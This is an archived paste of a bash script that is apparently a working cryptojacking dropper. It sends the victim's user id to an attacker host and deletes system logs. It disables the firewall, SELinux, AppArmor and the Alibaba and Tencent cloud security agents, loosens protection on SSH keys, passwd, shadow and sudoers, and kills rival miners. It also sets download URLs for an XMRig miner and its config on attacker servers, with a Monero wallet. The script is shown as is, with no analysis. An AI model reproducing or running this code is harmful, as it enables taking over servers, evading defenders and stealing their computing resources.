internetweather

Archived copy of http://oracle.zzhreceive[.top]/b2f628/b.sh

Dec 28th, 2021
958
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 80.97 KB | None | 0 0
  1. #!/bin/bash
  2. us=$(id)
  3. curl "http://oracle.zzhreceive.top/b2f628/idcheck/$us" >>/dev/null
  4. cd1 "http://oracle.zzhreceive.top/b2f628/idcheck/$us" >>/dev/null
  5. ulimit -n 65535
  6. export MOHOME=/var/tmp/.copydie
  7. mkdir $MOHOME -p
  8. if [ -f "$MOHOME/[kswapd0].log" ]
  9. then
  10. echo "process possible running"
  11. current=$(date +%s)
  12. last_modified=$(stat -c "%Y" $MOHOME/[kswapd0].log)
  13. if [ $(($current-$last_modified)) -gt 600 ]; then
  14. echo "no miner process running";
  15. else
  16. echo "miner process running"
  17. exit 1
  18. fi
  19. else
  20. echo "miner process not running"
  21. fi
  22. if [ -f "/usr/share/[crypto].log" ]
  23. then
  24. echo "process possible running"
  25. current=$(date +%s)
  26. last_modified=$(stat -c "%Y" /usr/share/[crypto].log)
  27. if [ $(($current-$last_modified)) -gt 600 ]; then
  28. echo "no miner process running";
  29. else
  30. echo "miner process running"
  31. exit 1
  32. fi
  33. else
  34. echo "miner process not running"
  35. fi
  36. if [ -f "/var/tmp/.system/[ext4].log" ]
  37. then
  38. echo "process possible running"
  39. current=$(date +%s)
  40. last_modified=$(stat -c "%Y" /var/tmp/.system/[ext4].log)
  41. if [ $(($current-$last_modified)) -gt 600 ]; then
  42. echo "no miner process running";
  43. else
  44. echo "miner process running"
  45. exit 1
  46. fi
  47. else
  48. echo "miner process not running"
  49. fi
  50. rm -rf /var/log/syslog
  51. chattr -iua /tmp/
  52. chattr -iua /var/tmp/
  53. ufw disable
  54. iptables -F
  55. sudo sysctl kernel.nmi_watchdog=0
  56. sysctl kernel.nmi_watchdog=0
  57. echo '0' >/proc/sys/kernel/nmi_watchdog
  58. echo 'kernel.nmi_watchdog=0' >>/etc/sysctl.conf
  59. chattr -iae /root/.ssh/
  60. chattr -iae /root/.ssh/authorized_keys
  61. rm -rf /tmp/addres*
  62. rm -rf /tmp/walle*
  63. rm -rf /tmp/keys
  64. if ps aux | grep -i '[a]liyun'; then
  65. curl http://update.aegis.aliyun.com/download/uninstall.sh | bash
  66. curl http://update.aegis.aliyun.com/download/quartz_uninstall.sh | bash
  67. pkill aliyun-service
  68. rm -rf /etc/init.d/agentwatch /usr/sbin/aliyun-service
  69. rm -rf /usr/local/aegis*
  70. systemctl stop aliyun.service
  71. systemctl disable aliyun.service
  72. service bcm-agent stop
  73. yum remove bcm-agent -y
  74. apt-get remove bcm-agent -y
  75. elif ps aux | grep -i '[y]unjing'; then
  76. /usr/local/qcloud/stargate/admin/uninstall.sh
  77. /usr/local/qcloud/YunJing/uninst.sh
  78. /usr/local/qcloud/monitor/barad/admin/uninstall.sh
  79. fi
  80. if [ -f /usr/local/cloudmonitor/wrapper/bin/cloudmonitor.sh ]; then
  81. /usr/local/cloudmonitor/wrapper/bin/cloudmonitor.sh stop && /usr/local/cloudmonitor/wrapper/bin/cloudmonitor.sh remove && rm -rf /usr/local/cloudmonitor
  82. else
  83. export ARCH=amd64
  84. if [ -f /usr/local/cloudmonitor/CmsGoAgent.linux-${ARCH} ]; then
  85. /usr/local/cloudmonitor/CmsGoAgent.linux-${ARCH} stop && /usr/local/cloudmonitor/CmsGoAgent.linux-${ARCH} uninstall && rm -rf /usr/local/cloudmonitor
  86. else
  87. echo "ali cloud monitor not running"
  88. fi
  89. fi
  90. setenforce 0
  91. echo SELINUX=disabled >/etc/selinux/config
  92. service apparmor stop
  93. systemctl disable apparmor
  94. service aliyun.service stop
  95. systemctl disable aliyun.service
  96. ps aux | grep -v grep | grep 'aegis' | awk '{print $2}' | xargs -I % kill -9 %
  97. ps aux | grep -v grep | grep 'Yun' | awk '{print $2}' | xargs -I % kill -9 %
  98. rm -rf /usr/local/aegis
  99.  
  100.  
  101. MOxmrigMOD=http://58.226.35.74/mid.jpg
  102. MOxmrigSTOCK=http://58.226.35.74/mid.jpg
  103. miner_url=https://github.com/xmrig/xmrig/releases/download/v6.10.0/xmrig-6.10.0-linux-static-x64.tar.gz
  104. miner_url_backup=http://oracle.zzhreceive.top/b2f628/father.jpg
  105. config_url=http://oracle.zzhreceive.top/b2f628/cf.jpg
  106. config_url_backup=http://oracle.zzhreceive.top/b2f628/cf.jpg
  107. WALLET=43Xbgtym2GZWBk87XiYbCpTKGPBTxYZZWi44SWrkqqvzPZV6Pfmjv3UHR6FDwvPgePJyv9N5PepeajfmKp1X71EW7jx4Tpz.peter41
  108. VERSION=2.9
  109.  
  110.  
  111. function FixTheSystem(){
  112. echo "begin FixTheSystem"
  113. tntrecht -i /bin/chmod || chattr -i /bin/chmod
  114. setfacl -m u::x /bin/chmod
  115. tntrecht -i /bin/chattr || chattr -i /bin/chattr
  116. chmod +x /bin/chattr || setfacl -m u::x /bin/chattr
  117.  
  118. SYSFILEARRAY=(/usr/bin/apt /usr/bin/apt-get /bin/yum /bin/kill /usr/lib/klibc/bin/kill /usr/bin/pkill /bin/pkill /sbin/shutdown /sbin/reboot /sbin/poweroff /sbin/telinit)
  119. for SYSFILEBIN in ${SYSFILEARRAY[@]}; do
  120. tntrecht -i $SYSFILEBIN
  121. chattr -i $SYSFILEBIN
  122. setfacl -m u::x /bin/chmod
  123. setfacl -m u::x $SYSFILEBIN
  124. chmod +x $SYSFILEBIN
  125. chattr +i $SYSFILEBIN
  126. tntrecht +i $SYSFILEBIN
  127. done
  128.  
  129.  
  130. SYSTEMFILEARRAY=("/root/.ssh/" "/home/*/.ssh/" "/etc/passwd" "/etc/shadow" "/etc/sudoers" "/etc/ssh/" "/etc/ssh/sshd_config")
  131. for SYSTEMFILE in ${SYSTEMFILEARRAY[@]}; do
  132. tntrecht -iR $SYSTEMFILE 2>/dev/null 1>/dev/null
  133. chattr -iR $SYSTEMFILE 2>/dev/null 1>/dev/null
  134. done
  135.  
  136. setfacl -m u::x /bin/chmod
  137.  
  138. }
  139.  
  140.  
  141. kill_miner_proc()
  142. {
  143. netstat -anp | grep 185.71.65.238 | awk '{print $7}' | awk -F'[/]' '{print $1}' | xargs -I % kill -9 %
  144. netstat -anp | grep 140.82.52.87 | awk '{print $7}' | awk -F'[/]' '{print $1}' | xargs -I % kill -9 %
  145. netstat -anp | grep :443 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
  146. netstat -anp | grep :23 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
  147. netstat -anp | grep :443 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
  148. netstat -anp | grep :143 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
  149. netstat -anp | grep :2222 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
  150. netstat -anp | grep :3333 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
  151. netstat -anp | grep :3389 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
  152. netstat -anp | grep :5555 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
  153. netstat -anp | grep :6666 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
  154. netstat -anp | grep :6665 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
  155. netstat -anp | grep :6667 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
  156. netstat -anp | grep :7777 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
  157. netstat -anp | grep :8444 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
  158. netstat -anp | grep :3347 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
  159. ps aux | grep -v grep | grep ':3333' | awk '{print $2}' | xargs -I % kill -9 %
  160. ps aux | grep -v grep | grep ':5555' | awk '{print $2}' | xargs -I % kill -9 %
  161. ps aux | grep -v grep | grep 'kworker -c\' | awk '{print $2}' | xargs -I % kill -9 %
  162. ps aux | grep -v grep | grep 'log_' | awk '{print $2}' | xargs -I % kill -9 %
  163. ps aux | grep -v grep | grep 'systemten' | awk '{print $2}' | xargs -I % kill -9 %
  164. ps aux | grep -v grep | grep 'netns' | awk '{print $2}' | xargs -I % kill -9 %
  165. ps aux | grep -v grep | grep 'voltuned' | awk '{print $2}' | xargs -I % kill -9 %
  166. ps aux | grep -v grep | grep 'darwin' | awk '{print $2}' | xargs -I % kill -9 %
  167. ps aux | grep -v grep | grep '/tmp/dl' | awk '{print $2}' | xargs -I % kill -9 %
  168. ps aux | grep -v grep | grep '/tmp/ddg' | awk '{print $2}' | xargs -I % kill -9 %
  169. ps aux | grep -v grep | grep '/tmp/pprt' | awk '{print $2}' | xargs -I % kill -9 %
  170. ps aux | grep -v grep | grep '/tmp/ppol' | awk '{print $2}' | xargs -I % kill -9 %
  171. ps aux | grep -v grep | grep '/tmp/65ccE*' | awk '{print $2}' | xargs -I % kill -9 %
  172. ps aux | grep -v grep | grep '/tmp/jmx*' | awk '{print $2}' | xargs -I % kill -9 %
  173. ps aux | grep -v grep | grep '/tmp/2Ne80*' | awk '{print $2}' | xargs -I % kill -9 %
  174. ps aux | grep -v grep | grep 'IOFoqIgyC0zmf2UR' | awk '{print $2}' | xargs -I % kill -9 %
  175. ps aux | grep -v grep | grep '45.76.122.92' | awk '{print $2}' | xargs -I % kill -9 %
  176. ps aux | grep -v grep | grep '51.38.191.178' | awk '{print $2}' | xargs -I % kill -9 %
  177. ps aux | grep -v grep | grep '51.15.56.161' | awk '{print $2}' | xargs -I % kill -9 %
  178. ps aux | grep -v grep | grep '86s.jpg' | awk '{print $2}' | xargs -I % kill -9 %
  179. ps aux | grep -v grep | grep 'aGTSGJJp' | awk '{print $2}' | xargs -I % kill -9 %
  180. ps aux | grep -v grep | grep 'I0r8Jyyt' | awk '{print $2}' | xargs -I % kill -9 %
  181. ps aux | grep -v grep | grep 'AgdgACUD' | awk '{print $2}' | xargs -I % kill -9 %
  182. ps aux | grep -v grep | grep 'uiZvwxG8' | awk '{print $2}' | xargs -I % kill -9 %
  183. ps aux | grep -v grep | grep 'hahwNEdB' | awk '{print $2}' | xargs -I % kill -9 %
  184. ps aux | grep -v grep | grep 'BtwXn5qH' | awk '{print $2}' | xargs -I % kill -9 %
  185. ps aux | grep -v grep | grep '3XEzey2T' | awk '{print $2}' | xargs -I % kill -9 %
  186. ps aux | grep -v grep | grep 't2tKrCSZ' | awk '{print $2}' | xargs -I % kill -9 %
  187. ps aux | grep -v grep | grep 'svc' | awk '{print $2}' | xargs -I % kill -9 %
  188. ps aux | grep -v grep | grep 'HD7fcBgg' | awk '{print $2}' | xargs -I % kill -9 %
  189. ps aux | grep -v grep | grep 'zXcDajSs' | awk '{print $2}' | xargs -I % kill -9 %
  190. ps aux | grep -v grep | grep '3lmigMo' | awk '{print $2}' | xargs -I % kill -9 %
  191. ps aux | grep -v grep | grep 'AkMK4A2' | awk '{print $2}' | xargs -I % kill -9 %
  192. ps aux | grep -v grep | grep 'AJ2AkKe' | awk '{print $2}' | xargs -I % kill -9 %
  193. ps aux | grep -v grep | grep 'HiPxCJRS' | awk '{print $2}' | xargs -I % kill -9 %
  194. ps aux | grep -v grep | grep 'http_0xCC030' | awk '{print $2}' | xargs -I % kill -9 %
  195. ps aux | grep -v grep | grep 'http_0xCC031' | awk '{print $2}' | xargs -I % kill -9 %
  196. ps aux | grep -v grep | grep 'http_0xCC032' | awk '{print $2}' | xargs -I % kill -9 %
  197. ps aux | grep -v grep | grep 'http_0xCC033' | awk '{print $2}' | xargs -I % kill -9 %
  198. ps aux | grep -v grep | grep "C4iLM4L" | awk '{print $2}' | xargs -I % kill -9 %
  199. ps aux | grep -v grep | grep 'aziplcr72qjhzvin' | awk '{print $2}' | xargs -I % kill -9 %
  200. ps aux | grep -v grep | awk '{ if(substr($11,1,2)=="./" && substr($12,1,2)=="./") print $2 }' | xargs -I % kill -9 %
  201. ps aux | grep -v grep | grep '/boot/vmlinuz' | awk '{print $2}' | xargs -I % kill -9 %
  202. ps aux | grep -v grep | grep "i4b503a52cc5" | awk '{print $2}' | xargs -I % kill -9 %
  203. ps aux | grep -v grep | grep "dgqtrcst23rtdi3ldqk322j2" | awk '{print $2}' | xargs -I % kill -9 %
  204. ps aux | grep -v grep | grep "2g0uv7npuhrlatd" | awk '{print $2}' | xargs -I % kill -9 %
  205. ps aux | grep -v grep | grep "nqscheduler" | awk '{print $2}' | xargs -I % kill -9 %
  206. ps aux | grep -v grep | grep "rkebbwgqpl4npmm" | awk '{print $2}' | xargs -I % kill -9 %
  207. ps aux | grep -v grep | grep -v aux | grep "]" | awk '$3>10.0{print $2}' | xargs -I % kill -9 %
  208. ps aux | grep -v grep | grep "2fhtu70teuhtoh78jc5s" | awk '{print $2}' | xargs -I % kill -9 %
  209. ps aux | grep -v grep | grep "0kwti6ut420t" | awk '{print $2}' | xargs -I % kill -9 %
  210. ps aux | grep -v grep | grep "44ct7udt0patws3agkdfqnjm" | awk '{print $2}' | xargs -I % kill -9 %
  211. ps aux | grep -v grep | grep -v "/" | grep -v "-" | grep -v "_" | awk 'length($11)>19{print $2}' | xargs -I % kill -9 %
  212. ps aux | grep -v grep | grep "\[^" | awk '{print $2}' | xargs -I % kill -9 %
  213. ps aux | grep -v grep | grep "rsync" | awk '{print $2}' | xargs -I % kill -9 %
  214. ps aux | grep -v grep | grep "watchd0g" | awk '{print $2}' | xargs -I % kill -9 %
  215. ps aux | grep -v grep | egrep 'wnTKYg|2t3ik|qW3xT.2|ddg' | awk '{print $2}' | xargs -I % kill -9 %
  216. ps aux | grep -v grep | grep "158.69.133.18:8220" | awk '{print $2}' | xargs -I % kill -9 %
  217. ps aux | grep -v grep | grep "/tmp/java" | awk '{print $2}' | xargs -I % kill -9 %
  218. ps aux | grep -v grep | grep 'gitee.com' | awk '{print $2}' | xargs -I % kill -9 %
  219. ps aux | grep -v grep | grep '/tmp/java' | awk '{print $2}' | xargs -I % kill -9 %
  220. ps aux | grep -v grep | grep '104.248.4.162' | awk '{print $2}' | xargs -I % kill -9 %
  221. ps aux | grep -v grep | grep '89.35.39.78' | awk '{print $2}' | xargs -I % kill -9 %
  222. ps aux | grep -v grep | grep '/dev/shm/z3.sh' | awk '{print $2}' | xargs -I % kill -9 %
  223. ps aux | grep -v grep | grep 'kthrotlds' | awk '{print $2}' | xargs -I % kill -9 %
  224. ps aux | grep -v grep | grep 'ksoftirqds' | awk '{print $2}' | xargs -I % kill -9 %
  225. ps aux | grep -v grep | grep 'netdns' | awk '{print $2}' | xargs -I % kill -9 %
  226. ps aux | grep -v grep | grep 'watchdogs' | awk '{print $2}' | xargs -I % kill -9 %
  227. ps aux | grep -v grep | grep 'kdevtmpfsi' | awk '{print $2}' | xargs -I % kill -9 %
  228. ps aux | grep -v grep | grep 'kinsing' | awk '{print $2}' | xargs -I % kill -9 %
  229. ps aux | grep -v grep | grep 'redis2' | awk '{print $2}' | xargs -I % kill -9 %
  230. ps aux | grep -v grep | grep -v aux | grep " ps" | awk '{print $2}' | xargs -I % kill -9 %
  231. ps aux | grep -v grep | grep "sync_supers" | cut -c 9-15 | xargs -I % kill -9 %
  232. ps aux | grep -v grep | grep "cpuset" | cut -c 9-15 | xargs -I % kill -9 %
  233. ps aux | grep -v grep | grep -v aux | grep "x]" | awk '{print $2}' | xargs -I % kill -9 %
  234. ps aux | grep -v grep | grep -v aux | grep "sh] <" | awk '{print $2}' | xargs -I % kill -9 %
  235. ps aux | grep -v grep | grep -v aux | grep " \[]" | awk '{print $2}' | xargs -I % kill -9 %
  236. ps aux | grep -v grep | grep '/tmp/l.sh' | awk '{print $2}' | xargs -I % kill -9 %
  237. ps aux | grep -v grep | grep '/tmp/zmcat' | awk '{print $2}' | xargs -I % kill -9 %
  238. ps aux | grep -v grep | grep 'hahwNEdB' | awk '{print $2}' | xargs -I % kill -9 %
  239. ps aux | grep -v grep | grep 'CnzFVPLF' | awk '{print $2}' | xargs -I % kill -9 %
  240. ps aux | grep -v grep | grep 'CvKzzZLs' | awk '{print $2}' | xargs -I % kill -9 %
  241. ps aux | grep -v grep | grep 'aziplcr72qjhzvin' | awk '{print $2}' | xargs -I % kill -9 %
  242. ps aux | grep -v grep | grep '/tmp/udevd' | awk '{print $2}' | xargs -I % kill -9 %
  243. ps aux | grep -v grep | grep 'KCBjdXJsIC1vIC0gaHR0cDovLzg5LjIyMS41Mi4xMjIvcy5zaCApIHwgYmFzaCA' | awk '{print $2}' | xargs -I % kill -9 %
  244. ps aux | grep -v grep | grep 'Y3VybCAtcyBodHRwOi8vMTA3LjE3NC40Ny4xNTYvbXIuc2ggfCBiYXNoIC1zaAo' | awk '{print $2}' | xargs -I % kill -9 %
  245. ps aux | grep -v grep | grep 'sustse' | awk '{print $2}' | xargs -I % kill -9 %
  246. ps aux | grep -v grep | grep 'sustse3' | awk '{print $2}' | xargs -I % kill -9 %
  247. ps aux | grep -v grep | grep 'mr.sh' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 %
  248. ps aux | grep -v grep | grep 'mr.sh' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 %
  249. ps aux | grep -v grep | grep '2mr.sh' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 %
  250. ps aux | grep -v grep | grep '2mr.sh' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 %
  251. ps aux | grep -v grep | grep 'cr5.sh' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 %
  252. ps aux | grep -v grep | grep 'cr5.sh' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 %
  253. ps aux | grep -v grep | grep 'logo9.jpg' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 %
  254. ps aux | grep -v grep | grep 'logo9.jpg' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 %
  255. ps aux | grep -v grep | grep 'j2.conf' | awk '{print $2}' | xargs -I % kill -9 %
  256. ps aux | grep -v grep | grep 'luk-cpu' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 %
  257. ps aux | grep -v grep | grep 'luk-cpu' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 %
  258. ps aux | grep -v grep | grep 'ficov' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 %
  259. ps aux | grep -v grep | grep 'ficov' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 %
  260. ps aux | grep -v grep | grep 'he.sh' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 %
  261. ps aux | grep -v grep | grep 'he.sh' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 %
  262. ps aux | grep -v grep | grep 'miner.sh' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 %
  263. ps aux | grep -v grep | grep 'miner.sh' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 %
  264. ps aux | grep -v grep | grep 'nullcrew' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 %
  265. ps aux | grep -v grep | grep 'nullcrew' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 %
  266. ps aux | grep -v grep | grep '107.174.47.156' | awk '{print $2}' | xargs -I % kill -9 %
  267. ps aux | grep -v grep | grep '83.220.169.247' | awk '{print $2}' | xargs -I % kill -9 %
  268. ps aux | grep -v grep | grep '51.38.203.146' | awk '{print $2}' | xargs -I % kill -9 %
  269. ps aux | grep -v grep | grep '144.217.45.45' | awk '{print $2}' | xargs -I % kill -9 %
  270. ps aux | grep -v grep | grep '107.174.47.181' | awk '{print $2}' | xargs -I % kill -9 %
  271. ps aux | grep -v grep | grep '176.31.6.16' | awk '{print $2}' | xargs -I % kill -9 %
  272. ps auxf | grep -v grep | grep "mine.moneropool.com" | awk '{print $2}' | xargs -I % kill -9 %
  273. ps auxf | grep -v grep | grep "pool.t00ls.ru" | awk '{print $2}' | xargs -I % kill -9 %
  274. ps auxf | grep -v grep | grep "zhuabcn@yahoo.com" | awk '{print $2}' | xargs -I % kill -9 %
  275. ps auxf | grep -v grep | grep "monerohash.com" | awk '{print $2}' | xargs -I % kill -9 %
  276. ps auxf | grep -v grep | grep "/tmp/a7b104c270" | awk '{print $2}' | xargs -I % kill -9 %
  277. ps auxf | grep -v grep | grep "stratum.f2pool.com:8888" | awk '{print $2}' | xargs -I % kill -9 %
  278. ps auxf | grep -v grep | grep "xmrpool.eu" | awk '{print $2}' | xargs -I % kill -9 %
  279. ps auxf | grep -v grep | grep "kieuanilam.me" | awk '{print $2}' | xargs -I % kill -9 %
  280. ps auxf | grep xiaoyao | awk '{print $2}' | xargs -I % kill -9 %
  281. ps auxf | grep xiaoxue | awk '{print $2}' | xargs -I % kill -9 %
  282. netstat -antp | grep '46.243.253.15' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 %
  283. netstat -antp | grep '176.31.6.16' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 %
  284. pgrep -f L2Jpbi9iYXN | xargs -I % kill -9 %
  285. pgrep -f xzpauectgr | xargs -I % kill -9 %
  286. pgrep -f slxfbkmxtd | xargs -I % kill -9 %
  287. pgrep -f mixtape | xargs -I % kill -9 %
  288. pgrep -f addnj | xargs -I % kill -9 %
  289. pgrep -f 200.68.17.196 | xargs -I % kill -9 %
  290. pgrep -f IyEvYmluL3NoCgpzUG | xargs -I % kill -9 %
  291. pgrep -f KHdnZXQgLXFPLSBodHRw | xargs -I % kill -9 %
  292. pgrep -f FEQ3eSp8omko5nx9e97hQ39NS3NMo6rxVQS3 | xargs -I % kill -9 %
  293. pgrep -f Y3VybCAxOTEuMTAxLjE4MC43Ni9saW4udHh0IHxzaAo | xargs -I % kill -9 %
  294. pgrep -f mwyumwdbpq.conf | xargs -I % kill -9 %
  295. pgrep -f honvbsasbf.conf | xargs -I % kill -9 %
  296. pgrep -f mqdsflm.cf | xargs -I % kill -9 %
  297. pgrep -f lower.sh | xargs -I % kill -9 %
  298. pgrep -f ./ppp | xargs -I % kill -9 %
  299. pgrep -f ./seervceaess | xargs -I % kill -9 %
  300. pgrep -f ./servceaess | xargs -I % kill -9 %
  301. pgrep -f ./servceas | xargs -I % kill -9 %
  302. pgrep -f ./servcesa | xargs -I % kill -9 %
  303. pgrep -f ./vsp | xargs -I % kill -9 %
  304. pgrep -f ./jvs | xargs -I % kill -9 %
  305. pgrep -f ./pvv | xargs -I % kill -9 %
  306. pgrep -f ./vpp | xargs -I % kill -9 %
  307. pgrep -f ./pces | xargs -I % kill -9 %
  308. pgrep -f ./rspce | xargs -I % kill -9 %
  309. pgrep -f ./haveged | xargs -I % kill -9 %
  310. pgrep -f ./jiba | xargs -I % kill -9 %
  311. pgrep -f ./watchbog | xargs -I % kill -9 %
  312. pgrep -f ./A7mA5gb | xargs -I % kill -9 %
  313. pgrep -f kacpi_svc | xargs -I % kill -9 %
  314. pgrep -f kswap_svc | xargs -I % kill -9 %
  315. pgrep -f kauditd_svc | xargs -I % kill -9 %
  316. pgrep -f kpsmoused_svc | xargs -I % kill -9 %
  317. pgrep -f kseriod_svc | xargs -I % kill -9 %
  318. pgrep -f kthreadd_svc | xargs -I % kill -9 %
  319. pgrep -f ksoftirqd_svc | xargs -I % kill -9 %
  320. pgrep -f kintegrityd_svc | xargs -I % kill -9 %
  321. pgrep -f jawa | xargs -I % kill -9 %
  322. pgrep -f oracle.jpg | xargs -I % kill -9 %
  323. pgrep -f 45cToD1FzkjAxHRBhYKKLg5utMGEN | xargs -I % kill -9 %
  324. pgrep -f 188.209.49.54 | xargs -I % kill -9 %
  325. pgrep -f 181.214.87.241 | xargs -I % kill -9 %
  326. pgrep -f etnkFgkKMumdqhrqxZ6729U7bY8pzRjYzGbXa5sDQ | xargs -I % kill -9 %
  327. pgrep -f 47TdedDgSXjZtJguKmYqha4sSrTvoPXnrYQEq2Lbj | xargs -I % kill -9 %
  328. pgrep -f etnkP9UjR55j9TKyiiXWiRELxTS51FjU9e1UapXyK | xargs -I % kill -9 %
  329. pgrep -f servim | xargs -I % kill -9 %
  330. pgrep -f kblockd_svc | xargs -I % kill -9 %
  331. pgrep -f native_svc | xargs -I % kill -9 %
  332. pgrep -f ynn | xargs -I % kill -9 %
  333. pgrep -f 65ccEJ7 | xargs -I % kill -9 %
  334. pgrep -f jmxx | xargs -I % kill -9 %
  335. pgrep -f 2Ne80nA | xargs -I % kill -9 %
  336. pgrep -f sysstats | xargs -I % kill -9 %
  337. pgrep -f systemxlv | xargs -I % kill -9 %
  338. pgrep -f watchbog | xargs -I % kill -9 %
  339. pgrep -f OIcJi1m | xargs -I % kill -9 %
  340. pkill -f biosetjenkins
  341. pkill -f Loopback
  342. pkill -f apaceha
  343. pkill -f mixnerdx
  344. pkill -f performedl
  345. pkill -f JnKihGjn
  346. pkill -f irqba2anc1
  347. pkill -f irqba5xnc1
  348. pkill -f irqbnc1
  349. pkill -f ir29xc1
  350. pkill -f conns
  351. pkill -f irqbalance
  352. pkill -f XJnRj
  353. pkill -f mgwsl
  354. pkill -f pythno
  355. pkill -f jweri
  356. pkill -f lx26
  357. pkill -f NXLAi
  358. pkill -f BI5zj
  359. pkill -f askdljlqw
  360. pkill -f minerd
  361. pkill -f minergate
  362. pkill -f Guard.sh
  363. pkill -f ysaydh
  364. pkill -f bonns
  365. pkill -f donns
  366. pkill -f kxjd
  367. pkill -f Duck.sh
  368. pkill -f bonn.sh
  369. pkill -f conn.sh
  370. pkill -f kworker34
  371. pkill -f kw.sh
  372. pkill -f pro.sh
  373. pkill -f polkitd
  374. pkill -f acpid
  375. pkill -f icb5o
  376. pkill -f nopxi
  377. pkill -f irqbalanc1
  378. pkill -f minerd
  379. pkill -f i586
  380. pkill -f gddr
  381. pkill -f mstxmr
  382. pkill -f ddg.2011
  383. pkill -f wnTKYg
  384. pkill -f deamon
  385. pkill -f disk_genius
  386. pkill -f sourplum
  387. pkill -f polkitd
  388. pkill -f nanoWatch
  389. pkill -f zigw
  390. pkill -f devtool
  391. pkill -f devtools
  392. pkill -f systemctI
  393. pkill -f watchbog
  394. pkill -f sustes
  395. pkill -f xmrig
  396. pkill -f xmrig-cpu
  397. pkill -f 121.42.151.137
  398. pkill -f init12.cfg
  399. pkill -f nginxk
  400. pkill -f tmp/wc.conf
  401. pkill -f xmrig-notls
  402. pkill -f xmr-stak
  403. pkill -f suppoie
  404. pkill -f zer0day.ru
  405. pkill -f dbus-daemon--system
  406. pkill -f nullcrew
  407. pkill -f systemctI
  408. pkill -f kworkerds
  409. pkill -f init10.cfg
  410. pkill -f /wl.conf
  411. pkill -f crond64
  412. pkill -f sustse
  413. pkill -f vmlinuz
  414. pkill -f exin
  415. pkill -f apachiii
  416. pkill -f svcworkmanager
  417. pkill -f xr
  418. pkill -f trace
  419. pkill -f svcupdate
  420. pkill -f networkmanager
  421. pkill -f phpupdate
  422. rm -rf /usr/bin/config.json
  423. rm -rf /usr/bin/exin
  424. rm -rf /tmp/wc.conf
  425. rm -rf /tmp/log_rot
  426. rm -rf /tmp/apachiii
  427. rm -rf /tmp/sustse
  428. rm -rf /tmp/php
  429. rm -rf /tmp/p2.conf
  430. rm -rf /tmp/pprt
  431. rm -rf /tmp/ppol
  432. rm -rf /tmp/javax/config.sh
  433. rm -rf /tmp/javax/sshd2
  434. rm -rf /tmp/.profile
  435. rm -rf /tmp/1.so
  436. rm -rf /tmp/kworkerds
  437. rm -rf /tmp/kworkerds3
  438. rm -rf /tmp/kworkerdssx
  439. rm -rf /tmp/xd.json
  440. rm -rf /tmp/syslogd
  441. rm -rf /tmp/syslogdb
  442. rm -rf /tmp/65ccEJ7
  443. rm -rf /tmp/jmxx
  444. rm -rf /tmp/2Ne80nA
  445. rm -rf /tmp/dl
  446. rm -rf /tmp/ddg
  447. rm -rf /tmp/systemxlv
  448. rm -rf /tmp/systemctI
  449. rm -rf /tmp/.abc
  450. rm -rf /tmp/osw.hb
  451. rm -rf /tmp/.tmpleve
  452. rm -rf /tmp/.tmpnewzz
  453. rm -rf /tmp/.java
  454. rm -rf /tmp/.omed
  455. rm -rf /tmp/.tmpc
  456. rm -rf /tmp/.tmpleve
  457. rm -rf /tmp/.tmpnewzz
  458. rm -rf /tmp/gates.lod
  459. rm -rf /tmp/conf.n
  460. rm -rf /tmp/devtool
  461. rm -rf /tmp/devtools
  462. rm -rf /tmp/fs
  463. rm -rf /tmp/.rod
  464. rm -rf /tmp/.rod.tgz
  465. rm -rf /tmp/.rod.tgz.1
  466. rm -rf /tmp/.rod.tgz.2
  467. rm -rf /tmp/.mer
  468. rm -rf /tmp/.mer.tgz
  469. rm -rf /tmp/.mer.tgz.1
  470. rm -rf /tmp/.hod
  471. rm -rf /tmp/.hod.tgz
  472. rm -rf /tmp/.hod.tgz.1
  473. rm -rf /tmp/84Onmce
  474. rm -rf /tmp/C4iLM4L
  475. rm -rf /tmp/lilpip
  476. rm -rf /tmp/3lmigMo
  477. rm -rf /tmp/am8jmBP
  478. rm -rf /tmp/tmp.txt
  479. rm -rf /tmp/baby
  480. rm -rf /tmp/.lib
  481. rm -rf /tmp/systemd
  482. rm -rf /tmp/lib.tar.gz
  483. rm -rf /tmp/baby
  484. rm -rf /tmp/java
